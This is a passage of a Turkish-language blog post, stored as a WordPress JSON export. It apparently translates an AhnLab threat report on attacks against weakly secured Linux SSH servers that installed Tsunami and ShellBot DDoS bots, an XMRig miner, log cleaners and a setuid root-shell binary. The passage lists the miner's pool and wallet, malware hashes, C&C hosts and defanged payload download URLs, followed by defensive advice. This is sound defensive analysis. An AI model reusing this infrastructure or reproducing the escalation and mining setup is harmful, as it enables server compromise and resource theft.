\n\u201cping6\u201d dosyas\u0131, a\u015fa\u011f\u0131daki basit yap\u0131ya sahip bir ELF k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131d\u0131r. setuid() ve setgid() i\u015flevleri, kabu\u011fu \u00e7al\u0131\u015ft\u0131rmadan \u00f6nce kullan\u0131c\u0131 kimli\u011fini ve grup kimli\u011fini k\u00f6k hesap olarak ayarlamak i\u00e7in kullan\u0131l\u0131r.
\n\"\"<\/p>\n

“Anahtar” Bash beti\u011fi, “ping6” y\u00fcklendikten sonra setuid’i ayarlar. K\u00f6k hesapla ba\u015far\u0131l\u0131 bir giri\u015f yap\u0131l\u0131rsa ve hesapla birlikte “anahtar” Bash komut dosyas\u0131 y\u00fcklenirse, tehdit akt\u00f6r\u00fc daha sonra k\u00f6k ayr\u0131cal\u0131klar\u0131na sahip bir kabu\u011fa eri\u015fim elde etmek i\u00e7in “ping6″y\u0131 kullanabilir.<\/p>\n

\"\"
\n3.5. XMRig CoinMiner
\nBu \u00f6zel sald\u0131r\u0131 kampanyas\u0131nda, DDoS botlar\u0131n\u0131n yan\u0131 s\u0131ra bir CoinMiner da kurulur. Bir s\u00f6zl\u00fck sald\u0131r\u0131s\u0131 arac\u0131l\u0131\u011f\u0131yla oturum a\u00e7t\u0131ktan sonra y\u00fcr\u00fct\u00fclen komut, tar adl\u0131 s\u0131k\u0131\u015ft\u0131r\u0131lm\u0131\u015f bir dosyay\u0131 indirir ve a\u00e7ar. Ortaya \u00e7\u0131kan \u201cgo\u201d dosyas\u0131 daha sonra y\u00fcr\u00fct\u00fcl\u00fcr. Basit bir Bash beti\u011fi olarak \u201cgo\u201d, ayn\u0131 yolda bulunan \u201ctelevizor\u201d dosyas\u0131n\u0131 y\u00fcr\u00fct\u00fcr. \u201ctelevizor\u201d ayn\u0131 zamanda bir Bash beti\u011fidir ve \u201ctelecomanda\u201d Bash beti\u011fini y\u00fcr\u00fct\u00fcr. Bu sonu\u00e7ta XMRig CoinMiner “cnrig” in y\u00fcr\u00fct\u00fclmesine yol a\u00e7ar.<\/p>\n

\"\"
\nMadeni para madencili\u011fi i\u00e7in gerekli olan yap\u0131land\u0131rma verileri, ayn\u0131 yol \u00fczerinde bulunan \u201cconfig.json\u201d dosyas\u0131nda tutulur.<\/p>\n

Mining Pool : monerohash[.]com:80
\nuser : \u201c46WyHX3L85SAp3oKu1im7EgaVGBsWYhf7KxrebESVE6QHA5vJRab6wF1gsVkYwJfnNV2KYHU1Xq2A9XUYmWhvzPf2E6Nvse\u201d
\npass : \u201cnobody\u201d<\/p>\n

4. Sonu\u00e7
\nK\u00f6t\u00fc y\u00f6netilen Linux SSH sunucular\u0131na y\u00f6nelik sald\u0131r\u0131 kampanyalar\u0131, olduk\u00e7a uzun bir s\u00fcredir \u0131srarla ger\u00e7ekle\u015fmektedir. Tehdit akt\u00f6r\u00fc, vir\u00fcsl\u00fc sistemlerde Tsunami ve ShellBot gibi DDoS botlar\u0131n\u0131n yan\u0131 s\u0131ra XMRig CoinMiner’\u0131 kurdu.<\/p>\n

CoinMiner’\u0131n kurulu oldu\u011fu ortamlarda, vir\u00fcsl\u00fc sistemin kaynaklar\u0131, tehdit akt\u00f6r\u00fc i\u00e7in Monero madeni paralar\u0131 \u00e7\u0131karmak i\u00e7in kullan\u0131l\u0131r. Vir\u00fcs bula\u015fm\u0131\u015f sistemler, ayr\u0131ca y\u00fcklenen DDoS botlar\u0131 nedeniyle DDoS sald\u0131r\u0131lar\u0131 i\u00e7in kullan\u0131labilir ve ek k\u00f6t\u00fc ama\u00e7l\u0131 komutlar\u0131n y\u00fcr\u00fct\u00fclmesine izin verir. Bu k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar silinse bile, tehdit akt\u00f6r\u00fc yine y\u00fcklemi\u015f oldu\u011fu SSH arka kap\u0131 hesab\u0131n\u0131 kullanarak sisteme yeniden eri\u015fim sa\u011flayabilir. Bu, farkl\u0131 k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m y\u00fcklemek ve sistemden bilgi \u00e7almak gibi \u00e7e\u015fitli k\u00f6t\u00fc ama\u00e7l\u0131 davran\u0131\u015flar ger\u00e7ekle\u015ftirmelerine olanak tan\u0131r.<\/p>\n

Bu nedenle y\u00f6neticiler, Linux sunucusunu kaba kuvvet sald\u0131r\u0131lar\u0131ndan ve s\u00f6zl\u00fck sald\u0131r\u0131lar\u0131ndan korumak i\u00e7in hesaplar\u0131 i\u00e7in tahmin edilmesi zor parolalar kullanmal\u0131 ve bunlar\u0131 periyodik olarak de\u011fi\u015ftirmeli ve g\u00fcvenlik a\u00e7\u0131\u011f\u0131 sald\u0131r\u0131lar\u0131n\u0131 \u00f6nlemek i\u00e7in en son yamaya g\u00fcncelleme yapmal\u0131d\u0131r. Sald\u0131rganlar\u0131n eri\u015fimini k\u0131s\u0131tlamak i\u00e7in d\u0131\u015far\u0131dan eri\u015filebilen sunucular i\u00e7in g\u00fcvenlik duvarlar\u0131 gibi g\u00fcvenlik programlar\u0131 da kullanmal\u0131d\u0131rlar. Son olarak, k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m bula\u015fmas\u0131n\u0131 \u00f6nceden engellemek i\u00e7in V3’\u00fc en son s\u00fcr\u00fcme g\u00fcncelleyerek dikkatli olunmal\u0131d\u0131r.<\/p>\n

Dosya Alg\u0131lama
\n\u2013 Linux\/CoinMiner.Gen2 (2019.07.31.08)
\n\u2013 Linux\/Tsunami.Gen (2016.08.24.00)
\n\u2013 Shellbot\/Perl.Generic.S1118 (2020.02.19.07)
\n\u2013 \u0130ndirici\/Shell.Agent.SC189601 (2023.06.12.02)
\n\u2013 HackTool\/Linux.LogWiper.22272 (2023.06.12.02)
\n\u2013 HackTool\/Linux.LogWiper.28728 (2023.06.12.02)
\n\u2013 Trojan\/Linux.Agent.8456 (2023.06.12.02)
\n\u2013 Trojan\/Shell.Runner (2023.06.12.02) )
\n\u2013 CoinMiner\/Text.Config (2023.06.12.02)<\/p>\n

IOC
\nMD5
\n\u2013 6187ec1eee4b0fb381dd27f30dd352c9 : \u0130ndirici Bash beti\u011fi (anahtar)
\n\u2013 822b6f619e642cc76881ae90fb1f8e8e : Tsunami (a)
\n\u2013 c5142b41947f5d1853785020d9350de4 : ShellBot (bot) )
\n\u2013 2cd8157ba0171ca5d8b50499f4440d96 : ShellBot (logo) \u2013 32eb33cdfa763b012cd8bcad97d560f0
\n: MIG Logcleaner v2.0 (cls) \u2013
\n98b8cd5ccd6f7177007976aeb675ec38 : 0x3 33shadow G\u00fcnl\u00fck Temizleyici ( temiz)
\n\u2013 e2f08f163d81f79c1f94bd34b22d3191 : Ayr\u0131cal\u0131k Artt\u0131rma K\u00f6t\u00fc Ama\u00e7l\u0131 Yaz\u0131l\u0131m\u0131 (ping6)
\n\u2013 725ac5754b123923490c79191fdf4f76 : Bash ba\u015flat\u0131c\u0131s\u0131 (git)
\n\u2013 ad04aab3e732ce5220db0b0fc9bc8a19 : Bas h ba\u015flat\u0131c\u0131 (televiz\u00f6r)
\n\u2013 421ffee8a223210b2c8f2384ee6a88b4 : Bash ba\u015flat\u0131c\u0131 (telecomanda)
\n\u2013 0014403121eeaebaeede796e4b6e5dbe : XMRig CoinMiner (cnrig)
\n\u2013 125951260a0cb473ce9b7acc406e83e1 : XMRig yap\u0131land\u0131rma dosyas\u0131 (config.json)<\/p>\n

C&C
\n\u2013 ircx.us[.]to:20 : ShellBot
\n\u2013 ircx.us[.]to:53 : Tsunami
\n\u2013 ircx.us[.]to:6667 : ShellBot
\n\u2013 ircxx.us[.]to:53 : Tsunami<\/p>\n

\ub2e4\uc6b4\ub85c\ub4dc \uc8fc\uc18c
\n\u2013 ddoser[.]org\/key: \u0130ndirici Bash beti\u011fi
\n\u2013 ddoser[.]org\/a : Tsunami
\n\u2013 ddoser[.]org\/logo : ShellBot
\n\u2013 ddoser[.]o]rg\/siwen\/bot \/ ShellBot DDoS Bot
\n\u2013 ddoser[.]org\/top : S\u0131k\u0131\u015ft\u0131r\u0131lm\u0131\u015f XMRig CoinMiner dosyas\u0131
\n\u2013 ddoser[.]org\/siwen\/cls : MIG Logcleaner v2.0
\n\u2013 ddoser[.]org\/siwen\/clean : 0x333shadow G\u00fcnl\u00fck Temizleyici
\n\u2013 ddoser[.]org\/ siwen\/ping6 : Ayr\u0131cal\u0131k y\u00fckseltme k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m\u0131<\/p>\n","protected":false},"excerpt":{"rendered":"

AhnLab G\u00fcvenlik Acil Durum M\u00fcdahale Merkezi (ASEC) k\u0131sa bir s\u00fcre \u00f6nce, yetersiz y\u00f6netilen Linux SSH sunucular\u0131na kurulan Tsunami DDoS Botundan olu\u015fan bir sald\u0131r\u0131 kampanyas\u0131 ke\u015ffetti. Tehdit akt\u00f6r\u00fc yaln\u0131zca Tsunami’yi y\u00fcklemekle kalmad\u0131, ayn\u0131 zamanda ShellBot, XMRig CoinMiner ve Log Cleaner gibi \u00e7e\u015fitli ba\u015fka k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar\u0131 da y\u00fckledi. K\u00f6t\u00fc y\u00f6netilen Linux SSH sunucular\u0131na y\u00f6nelik sald\u0131r\u0131 durumlar\u0131na …<\/p>\n","protected":false},"author":1,"featured_media":2961,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-2955","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-linux"],"acf":[],"_links":{"self":[{"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/posts\/2955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/comments?post=2955"}],"version-history":[{"count":0,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/posts\/2955\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/media\/2961"}],"wp:attachment":[{"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/media?parent=2955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/categories?post=2955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sunucucozumleri.com\/blog\/wp-json\/wp\/v2\/tags?post=2955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}